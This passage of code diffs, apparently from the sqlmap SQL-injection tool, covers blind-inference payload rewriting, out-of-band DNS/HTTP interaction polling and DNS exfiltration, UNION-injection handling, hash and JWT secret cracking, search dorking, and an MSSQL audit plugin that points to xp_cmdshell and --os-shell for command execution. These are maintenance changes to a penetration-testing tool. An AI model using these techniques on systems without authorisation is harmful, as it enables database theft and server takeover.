target = first_line
|
||||
return target
|
||||
|
||||
|
||||
def _unquote(value):
|
||||
try:
|
||||
from urllib import unquote
|
||||
except ImportError:
|
||||
from urllib.parse import unquote
|
||||
return unquote(value)
|
||||
|
||||
|
||||
def _extractQueryStringNames(raw_target):
|
||||
"""Return the ordered, de-duplicated query-string parameter names from a raw (undecoded) target.
|
||||
|
||||
Split the raw target on literal '&' and the first raw '=', then percent-decode only each
|
||||
parameter name individually so encoded delimiters (``%26`` '&', ``%3D`` '=', ``%25`` '%') are
|
||||
preserved in the decoded name rather than misinterpreted as structure.
|
||||
"""
|
||||
try:
|
||||
query = raw_target.split("?", 1)[1]
|
||||
except IndexError:
|
||||
return []
|
||||
names = []
|
||||
for pair in query.split("&"):
|
||||
if not pair:
|
||||
continue
|
||||
encoded_name = pair.split("=", 1)[0]
|
||||
name = _unquote(encoded_name)
|
||||
if name and name not in names:
|
||||
names.append(name)
|
||||
return names
|
||||
|
||||
|
||||
class InteractshPoller(object):
|
||||
"""A single background consumer of one interactsh session: one thread polls /poll and queues
|
||||
complete interaction records under a Condition, so the DNS and HTTP consumers read the same
|
||||
records from memory without ever calling the remote endpoint twice or draining each other."""
|
||||
|
||||
def __init__(self, client):
|
||||
self._client = client
|
||||
self._queue = collections.deque()
|
||||
self._lock = threading.RLock()
|
||||
self._cond = threading.Condition(self._lock)
|
||||
self._seen = set()
|
||||
self._running = False
|
||||
self._thread = None
|
||||
|
||||
def start(self):
|
||||
"""Start the poller (idempotent)."""
|
||||
with self._lock:
|
||||
if self._running:
|
||||
return
|
||||
self._running = True
|
||||
self._thread = threading.Thread(target=self._loop)
|
||||
self._thread.daemon = True
|
||||
self._thread.start()
|
||||
|
||||
def stop(self):
|
||||
"""Stop the poller and join the thread until it actually exits.
|
||||
|
||||
Returns True if the poll thread has exited, False if it could not be stopped within the
|
||||
budget (its in-flight /poll request is still running). stop() flips _running and wakes the
|
||||
loop, so the thread exits after its current /poll returns - join therefore only has to
|
||||
outlast one /poll network operation, whose timeout is derived from the client's request
|
||||
timeout. Joining is retried on every call, so a second stop() after a failed first still
|
||||
joins the (now-sleeping-loop) thread instead of bailing out before _running was read.
|
||||
|
||||
Only a genuinely hung /poll network call exceeds the budget; the common case exits the
|
||||
instant the loop wakes. This is why the stated invariant holds strictly - it is retried,
|
||||
not capped at a guessed timeout."""
|
||||
with self._lock:
|
||||
self._running = False
|
||||
self._cond.notify_all()
|
||||
thread = self._thread
|
||||
if not thread or not thread.is_alive():
|
||||
return True
|
||||
# stop() has already woken the loop, so the thread exits after its current /poll returns.
|
||||
# One join that outlasts one /poll network call is enough; the slack covers the loop's own
|
||||
# work before it re-checks _running. A hung request is guarded by retrying stop().
|
||||
fn = getattr(self._client, "request_timeout", None)
|
||||
network_timeout = fn() if callable(fn) else _DEFAULT_NETWORK_TIMEOUT
|
||||
thread.join(network_timeout + _POP_POLL_DELAY)
|
||||
return not thread.is_alive()
|
||||
|
||||
def isRunning(self):
|
||||
return self._running and self._thread is not None and self._thread.is_alive()
|
||||
|
||||
def _loop(self):
|
||||
while self._running:
|
||||
try:
|
||||
records = self._client.poll()
|
||||
with self._cond:
|
||||
# Recheck _running after poll() returns: stop() may have set it False while the
|
||||
# network call was in flight. Drop the just-received records without staging
|
||||
# them, so a stopped poller can never repopulate its queue after shutdown.
|
||||
if not self._running:
|
||||
break
|
||||
for record in records:
|
||||
# Only queue interaction protocols sqlmap consumes (dns/http/https). Other
|
||||
# interaction types (smtp/ldap/...) would never be drained by sqlmap's
|
||||
# consumers and would otherwise accumulate in _queue for the whole session;
|
||||
# bounding the queue to what we actually use keeps it from growing.
|
||||
if record.get("protocol") not in ("dns", "http", "https"):
|
||||
continue
|
||||
# Fingerprint the *interaction*, not the payload host ("full-id").
|
||||
# protocol + full-id + unique-id only identify the receiving subdomain
|
||||
# (a single host drives many interactions); timestamp is a separate, per-
|
||||
# interaction field that keeps two identical requests to that host distinct.
|
||||
# Per-record try: a malformed interaction (a non-string field making the
|
||||
# join raise, or a bytes value getBytes() cannot decode) throws here. Keeping
|
||||
# it inside the per-record handler means one odd interaction skips itself
|
||||
# without aborting every later interaction in the already-drained batch, which
|
||||
# the outer batch-level except would otherwise do.
|
||||
try:
|
||||
rid_str = "|".join((record.get("protocol") or "",
|
||||
record.get("full-id") or "",
|
||||
record.get("unique-id") or "",
|
||||
record.get("timestamp") or "",
|
||||
record.get("raw-request") or "",
|
||||
record.get("remote-address") or ""))
|
||||
# Hash before storing so _seen never retains a full raw-request (bounded
|
||||
# to a fixed-length hexdigest); the review noted raw-request retention
|
||||
# grew _seen for the whole session. Hashlib is only consulted when we
|
||||
# have a record to fingerprint.
|
||||
rid = hashlib.sha256(getBytes(rid_str)).hexdigest()
|
||||
except Exception as ex:
|
||||
logger.debug("interactsh fingerprint error: %s" % getText(ex))
|
||||
continue
|
||||
if rid in self._seen:
|
||||
continue
|
||||
self._seen.add(rid)
|
||||
self._queue.append(record)
|
||||
self._cond.notify_all()
|
||||
except Exception as ex:
|
||||
logger.debug("interactsh poller poll error: %s" % getText(ex))
|
||||
if self._running:
|
||||
time.sleep(_POP_POLL_DELAY)
|
||||
|
||||
def _safeSelector(self, selector, record):
|
||||
try:
|
||||
return bool(selector(record))
|
||||
except Exception as ex:
|
||||
logger.debug("interactsh selector error: %s" % getText(ex))
|
||||
return False
|
||||
|
||||
def drain_matching(self, selector, deadline=None):
|
||||
"""Return all currently-queued records matching selector (removing them).
|
||||
|
||||
``deadline=None`` drains the current queue with no wait (snapshot-style callers such as
|
||||
``httpRequests``/``dnsNames``); only ``InteractshDNSServer.pop`` passes an absolute
|
||||
deadline to wait for new arrivals. The wait and the scan share one condition critical
|
||||
section so a producer cannot enqueue+notify between releasing and reacquiring the lock,
|
||||
which would otherwise stall another 0.5 s even when a match already exists."""
|
||||
while True:
|
||||
with self._cond:
|
||||
matched = [record for record in self._queue if self._safeSelector(selector, record)]
|
||||
if matched:
|
||||
for record in matched:
|
||||
self._queue.remove(record)
|
||||
return matched
|
||||
# Check _running before the first wait as well: stop() may have fired between the
|
||||
# scan and a wait() call, so the matching notification has already happened - a bare
|
||||
# wait() would otherwise sleep the whole budget for nothing.
|
||||
if not self._running:
|
||||
return []
|
||||
if deadline is None:
|
||||
return []
|
||||
remaining = deadline - time.time()
|
||||
if remaining <= 0:
|
||||
return []
|
||||
self._cond.wait(timeout=remaining)
|
||||
# Wake-up was not for a match; if stop() fired in the meantime no producer can
|
||||
# ever enqueue one, so exit promptly instead of looping for the full deadline.
|
||||
if not self._running:
|
||||
return []
|
||||
@@ -32,6 +32,7 @@ from lib.core.settings import MAX_TOTAL_REDIRECTIONS
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.request.basic import decodePage
|
||||
from lib.request.basic import parseResponse
|
||||
from lib.request import authrefresh
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
@@ -176,6 +177,9 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||
req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
|
||||
|
||||
try:
|
||||
if conf.authRefresh and not authrefresh.sameOrigin(req.get_full_url(), redurl):
|
||||
req.headers = authrefresh.stripHeaders(req.headers)
|
||||
req.unredirected_hdrs = authrefresh.stripHeaders(req.unredirected_hdrs)
|
||||
result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
|
||||
except _urllib.error.HTTPError as ex:
|
||||
result = error = ex
|
||||
|
||||
@@ -67,6 +67,7 @@ from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
|
||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||
from lib.core.settings import MAX_BISECTION_LENGTH
|
||||
from lib.core.settings import MAX_INT
|
||||
from lib.core.settings import MAX_REVALIDATION_STEPS
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
||||
@@ -108,6 +109,19 @@ def normalizedExpression(expression):
|
||||
|
||||
return retVal
|
||||
|
||||
def replaceInferenceOperator(payload, replacement):
|
||||
"""
|
||||
Replaces only the inference comparison operator (i.e. the one right in front of the compared
|
||||
value placeholder), leaving any other occurrence (e.g. inside the original parameter value) intact
|
||||
|
||||
>>> replaceInferenceOperator("1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))>%d", "!=")
|
||||
'1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))!=%d'
|
||||
>>> replaceInferenceOperator("a>b AND SUBSTR((%s),%d,1)>'%c'", "=")
|
||||
"a>b AND SUBSTR((%s),%d,1)='%c'"
|
||||
"""
|
||||
|
||||
return re.sub(r"%s(?=%%d|'%%c')" % re.escape(INFERENCE_GREATER_CHAR), lambda match: replacement, payload)
|
||||
|
||||
def getHuffmanPrior(order, scale, dbms=None):
|
||||
"""
|
||||
Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman
|
||||
@@ -349,7 +363,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
|
||||
if match:
|
||||
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||
payload = replaceInferenceOperator(payload, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
|
||||
expression = match.group(2).strip()
|
||||
|
||||
@@ -508,9 +522,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
||||
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
|
||||
forgedPayload = agent.extractPayload(payload) or ""
|
||||
forgedPayload = replaceInferenceOperator(agent.extractPayload(payload) or "", INFERENCE_EQUALS_CHAR)
|
||||
forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue)
|
||||
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
|
||||
forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx, posValue))
|
||||
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
@@ -529,7 +543,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
|
||||
validationPayload = replaceInferenceOperator(payload, INFERENCE_NOT_EQUALS_CHAR) if PAYLOAD_DELIMITER in payload else payload
|
||||
|
||||
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
||||
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
|
||||
@@ -667,7 +681,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
# If it disagrees, the IN() channel is unreliable here: latch the technique off so the
|
||||
# classic '>' bisection takes over for the rest of the run (graceful fallback).
|
||||
if not kb.huffmanValidated:
|
||||
verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
||||
verifyPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
||||
verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if verified:
|
||||
@@ -738,7 +752,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
return None
|
||||
|
||||
elif len(charTbl) == 1:
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
@@ -864,7 +878,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
# elements we use a xrange, which is a virtual
|
||||
# list
|
||||
if expand and shiftTable:
|
||||
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
|
||||
# Cap the expansion so its length never exceeds what len() can report
|
||||
# (a run of all-true probes would otherwise overflow on 32-bit builds)
|
||||
charTbl = xrange(maxChar + 1, min((maxChar + 1) << shiftTable.pop(), maxChar + 1 + MAX_INT))
|
||||
originalTbl = xrange(charTbl[0], charTbl[-1] + 1)
|
||||
maxChar = maxValue = charTbl[-1]
|
||||
minValue = charTbl[0]
|
||||
@@ -960,7 +976,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
|
||||
mask = 1 << choice
|
||||
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
@@ -972,7 +988,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
bit += 1
|
||||
|
||||
if candidates:
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
|
||||
@@ -74,7 +74,10 @@ def dnsUse(payload, expression):
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
||||
query = agent.prefixQuery("; %s" % expressionUnescaped)
|
||||
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
|
||||
if conf.suffix is not None:
|
||||
query = agent.suffixQuery(query, comment="", suffix=conf.suffix)
|
||||
else:
|
||||
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
|
||||
forgedPayload = agent.payload(newValue=query)
|
||||
else:
|
||||
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
|
||||
|
||||
@@ -37,6 +37,7 @@ from lib.core.common import singleTimeDebugMessage
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import wasLastResponseDBMSError
|
||||
from lib.core.common import zeroDepthSearch
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import getUnicode
|
||||
@@ -344,8 +345,10 @@ def unionUse(expression, unpack=True, dump=False):
|
||||
kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None
|
||||
|
||||
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
||||
# Removed ORDER BY clause because UNION does not play well with it
|
||||
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
|
||||
# Only remove outer ordering. Nested ORDER BY clauses can select which
|
||||
# rows survive a ROWNUM/TOP limit and must remain intact.
|
||||
positions = set(index for keyword in set(re.findall(r"(?i)ORDER BY", expression)) for index in zeroDepthSearch(expression, keyword))
|
||||
expression = re.sub(r"(?i)ORDER BY\s+[\w,]+", lambda match: "" if match.start() in positions else match.group(0), expression)
|
||||
debugMsg = "stripping ORDER BY clause from statement because "
|
||||
debugMsg += "it does not play well with UNION query SQL injection"
|
||||
singleTimeDebugMessage(debugMsg)
|
||||
|
||||
+22
-3
@@ -265,9 +265,19 @@ def writeReportJson(collector, filepath):
|
||||
"""
|
||||
Writes the collected results to filepath as JSON, in the same shape as the REST API's
|
||||
/scan/<id>/data response, wrapped with a small 'meta' block for standalone consumers.
|
||||
|
||||
A multi-target run (e.g. '-m' bulk file) stores each target under its own taskid (see
|
||||
kb.reportTaskId), so every taskid present in the collector is assembled here; a single-target
|
||||
run still yields exactly one taskid and keeps the flat {success, data, error} shape.
|
||||
"""
|
||||
|
||||
result = _assembleData(collector, REPORT_TASKID)
|
||||
taskids = sorted(row[0] for row in collector.execute("SELECT DISTINCT taskid FROM data")) or [REPORT_TASKID]
|
||||
|
||||
if len(taskids) > 1:
|
||||
result = {"success": True, "targets": [_assembleData(collector, taskid) for taskid in taskids]}
|
||||
else:
|
||||
result = _assembleData(collector, taskids[0])
|
||||
|
||||
result["meta"] = {
|
||||
"api_version": int(RESTAPI_VERSION.split(".")[0]), # MAJOR only - the part that matters for client compatibility
|
||||
"sqlmap_version": VERSION_STRING,
|
||||
@@ -434,7 +444,9 @@ class StdDbOut(object):
|
||||
|
||||
def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None):
|
||||
if self.messagetype == "stdout":
|
||||
_storeData(conf.databaseCursor, self.taskid, value, status, content_type)
|
||||
# Note: per-target key in multi-target scans, so a later target's COMPLETE row doesn't delete an earlier one's (#2503)
|
||||
taskid = "%s-%s" % (self.taskid, kb.reportTaskId) if kb.get("reportTaskId") else self.taskid
|
||||
_storeData(conf.databaseCursor, taskid, value, status, content_type)
|
||||
else:
|
||||
conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else ""))
|
||||
|
||||
@@ -467,7 +479,8 @@ class ReportErrorRecorder(logging.Handler):
|
||||
|
||||
def emit(self, record):
|
||||
try:
|
||||
self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg)))
|
||||
taskid = kb.get("reportTaskId", REPORT_TASKID)
|
||||
self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (taskid, str(record.msg % record.args if record.args else record.msg)))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@@ -807,6 +820,12 @@ def scan_data(taskid):
|
||||
# Read all data and error messages from the IPC database (shared assembler - same output as --report-json)
|
||||
result = _assembleData(DataStore.current_db, taskid)
|
||||
|
||||
# Note: fold in per-target rows ('<taskid>-<n>', see StdDbOut.write) of multi-target scans, in target order
|
||||
prefix = "%s-" % taskid
|
||||
subtaskids = [_[0] for _ in DataStore.current_db.execute("SELECT DISTINCT taskid FROM data WHERE taskid LIKE ?", (prefix + '%',)) if _[0][len(prefix):].isdigit()]
|
||||
for subtaskid in sorted(subtaskids, key=lambda _: int(_[len(prefix):])):
|
||||
result["data"].extend(_assembleData(DataStore.current_db, subtaskid)["data"])
|
||||
|
||||
logger.debug("(%s) Retrieved scan data and error messages" % taskid)
|
||||
return jsonize(result)
|
||||
|
||||
|
||||
@@ -79,6 +79,7 @@ from lib.core.enums import HASH
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.patch import dirtyPatches
|
||||
from lib.core.settings import COMMON_PASSWORD_SUFFIXES
|
||||
from lib.core.settings import COMMON_PASSWORDS
|
||||
from lib.core.settings import COMMON_USER_COLUMNS
|
||||
@@ -101,6 +102,16 @@ from thirdparty import six
|
||||
from thirdparty.colorama.initialise import init as coloramainit
|
||||
from thirdparty.six.moves import queue as _queue
|
||||
|
||||
# On Windows, multiprocessing's 'spawn' start method boots a fresh interpreter per cracking
|
||||
# worker (_bruteProcessVariantA/B/Salted below) to unpickle its target function, which re-imports
|
||||
# this module from scratch without ever running the main process's startup dirtyPatches() - so
|
||||
# process-wide monkeypatches it installs (e.g. the 'reversible' codec error handler used by
|
||||
# getUnicode()/openFile()) are missing in the worker, raising LookupError on every hashed entry
|
||||
# (#6143). Placing the (idempotent) call here means that very re-import applies it. POSIX fork()
|
||||
# workers inherit the parent's patches already, so this only needs to run on Windows.
|
||||
if IS_WIN:
|
||||
dirtyPatches()
|
||||
|
||||
def mysql_passwd(password, uppercase=True):
|
||||
"""
|
||||
Reference(s):
|
||||
@@ -406,6 +417,8 @@ def crypt_generic_passwd(password, salt, **kwargs):
|
||||
'rl.3StKT.4T8M'
|
||||
"""
|
||||
|
||||
password = getText(password) # crypt.crypt() requires native str (unicode on Py3, bytes on Py2/PyPy), unlike the hashlib-based functions here
|
||||
|
||||
return getText(crypt(password, salt))
|
||||
|
||||
def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
|
||||
|
||||
+9
-1
@@ -89,6 +89,8 @@ def crackHMAC(token, secrets, limit=None):
|
||||
's3cr3t'
|
||||
>>> crackHMAC(token, ["admin", "letmein"]) is None
|
||||
True
|
||||
>>> crackHMAC("eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.x", ["secret"]) is None
|
||||
True
|
||||
"""
|
||||
|
||||
data = parseJWT(token)
|
||||
@@ -97,7 +99,13 @@ def crackHMAC(token, secrets, limit=None):
|
||||
|
||||
fn = HMAC_ALGORITHMS[data["header"]["alg"].upper()]
|
||||
signingInput = getBytes(data["signingInput"])
|
||||
target = decodeBase64(data["signature"], binary=True)
|
||||
|
||||
try:
|
||||
target = decodeBase64(data["signature"], binary=True)
|
||||
except Exception:
|
||||
# a signature segment that is not valid base64url (e.g. a truncated/malformed token that still
|
||||
# matches the JWT pattern) cannot be an HMAC we could verify, so it is simply not crackable
|
||||
return None
|
||||
|
||||
for index, secret in enumerate(secrets):
|
||||
if limit is not None and index >= limit:
|
||||
|
||||
+9
-8
@@ -12,6 +12,7 @@ from lib.core.common import getSafeExString
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
@@ -25,9 +26,8 @@ from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.settings import BING_REGEX
|
||||
from lib.core.settings import DUCKDUCKGO_REGEX
|
||||
from lib.core.settings import DUMMY_SEARCH_USER_AGENT
|
||||
from lib.core.settings import GOOGLE_CONSENT_COOKIE
|
||||
from lib.core.settings import GOOGLE_REGEX
|
||||
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
|
||||
from lib.core.settings import SEARCH_ABUSE_MARKERS
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.request.basic import decodePage
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
@@ -89,7 +89,6 @@ def _search(dork):
|
||||
requestHeaders = {
|
||||
HTTP_HEADER.USER_AGENT: dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT),
|
||||
HTTP_HEADER.ACCEPT_ENCODING: HTTP_ACCEPT_ENCODING_HEADER_VALUE,
|
||||
HTTP_HEADER.COOKIE: GOOGLE_CONSENT_COOKIE,
|
||||
}
|
||||
|
||||
gpage = conf.googlePage if conf.googlePage > 1 else 1
|
||||
@@ -97,11 +96,13 @@ def _search(dork):
|
||||
|
||||
encoded = urlencode(dork, convall=True)
|
||||
|
||||
# Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one)
|
||||
# Note: DuckDuckGo's first result page holds 10 entries, while each subsequent one holds 15 (hence the non-linear offset)
|
||||
ddgOffset = 0 if gpage == 1 else 10 + (gpage - 2) * 15
|
||||
|
||||
# Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (Google is not in here as it serves results only to JavaScript capable clients)
|
||||
engines = (
|
||||
("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")),
|
||||
("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: match.group(1)),
|
||||
("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)),
|
||||
("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, ddgOffset), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")),
|
||||
("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: decodeBase64(match.group(1), binary=False) if match.group(1) else match.group(2).replace("&", "&")),
|
||||
)
|
||||
|
||||
for name, url, data, regex, flags, extract in engines:
|
||||
@@ -123,7 +124,7 @@ def _search(dork):
|
||||
break # Note: stop at the first engine that actually returns results (others are only fallbacks)
|
||||
|
||||
# Note: switch proxy (if available) when an abuse/captcha page was served (instead of pointlessly falling through to the next engine from the same blocked IP)
|
||||
if conf.proxyList and (("detected unusual traffic" in page) or ("issue with the Tor Exit Node you are currently using" in page)):
|
||||
if conf.proxyList and any(marker in page for marker in SEARCH_ABUSE_MARKERS):
|
||||
warnMsg = "%s has detected 'unusual' traffic from the used IP address" % name
|
||||
raise SqlmapBaseException(warnMsg)
|
||||
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.MSSQL
|
||||
# Snippets keep an outer WHERE for the existing blind TOP/NOT IN limiter.
|
||||
queries = (("identity", ("audit_identity",)), ("permissions", ("audit_permissions",)),
|
||||
("configuration", ("audit_configuration",)), ("linked servers", ("audit_links",)))
|
||||
flags = dict((key, ("enabled", "disabled")) for key in ("xp_cmdshell", "clr enabled", "Ole Automation Procedures", "Ad Hoc Distributed Queries"))
|
||||
flags.update(dict((key, ("yes", "no")) for key in ("sysadmin", "execute xp_cmdshell", "read configuration metadata", "read linked-server metadata")))
|
||||
|
||||
def failure(self, scope, groups):
|
||||
permissions = groups.get("permissions") or {}
|
||||
for key, name, target in (("read configuration metadata", "configuration", "master.sys.configurations"),
|
||||
("read linked-server metadata", "linked servers", "master.sys.servers")):
|
||||
if scope == name and permissions.get(key) == "0":
|
||||
return "%s: SELECT permission missing on %s" % (scope, target)
|
||||
return GenericAudit.failure(self, scope, groups)
|
||||
|
||||
def explain(self, groups):
|
||||
configuration = groups.get("configuration") or {}
|
||||
permissions = groups.get("permissions") or {}
|
||||
identity = groups.get("identity") or {}
|
||||
result = []
|
||||
if identity.get("sysadmin") == "1" and configuration.get("xp_cmdshell") == "0":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: sysadmin can enable xp_cmdshell; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: sysadmin can enable xp_cmdshell; no statement execution route identified")
|
||||
elif configuration.get("xp_cmdshell") == "1" and permissions.get("execute xp_cmdshell") == "1":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: xp_cmdshell enabled and EXECUTE granted; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: xp_cmdshell enabled and EXECUTE granted; no statement execution route identified")
|
||||
elif permissions.get("execute xp_cmdshell") == "0":
|
||||
result.append("Command execution: EXECUTE permission missing on master.dbo.xp_cmdshell")
|
||||
elif configuration.get("xp_cmdshell") == "0":
|
||||
result.append("Command execution: xp_cmdshell is disabled")
|
||||
links = groups.get("linked servers") or {}
|
||||
count = links.get("visible linked servers")
|
||||
if count and count.isdigit() and int(count) > AUDIT_MAX_ROWS:
|
||||
shown = sum(key.startswith("link ") for key in links)
|
||||
result.append("Linked servers: showing %d of %s; use --links for the full list" % (shown, count))
|
||||
return result
|
||||
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.enums import DBMS, FORK
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.MYSQL
|
||||
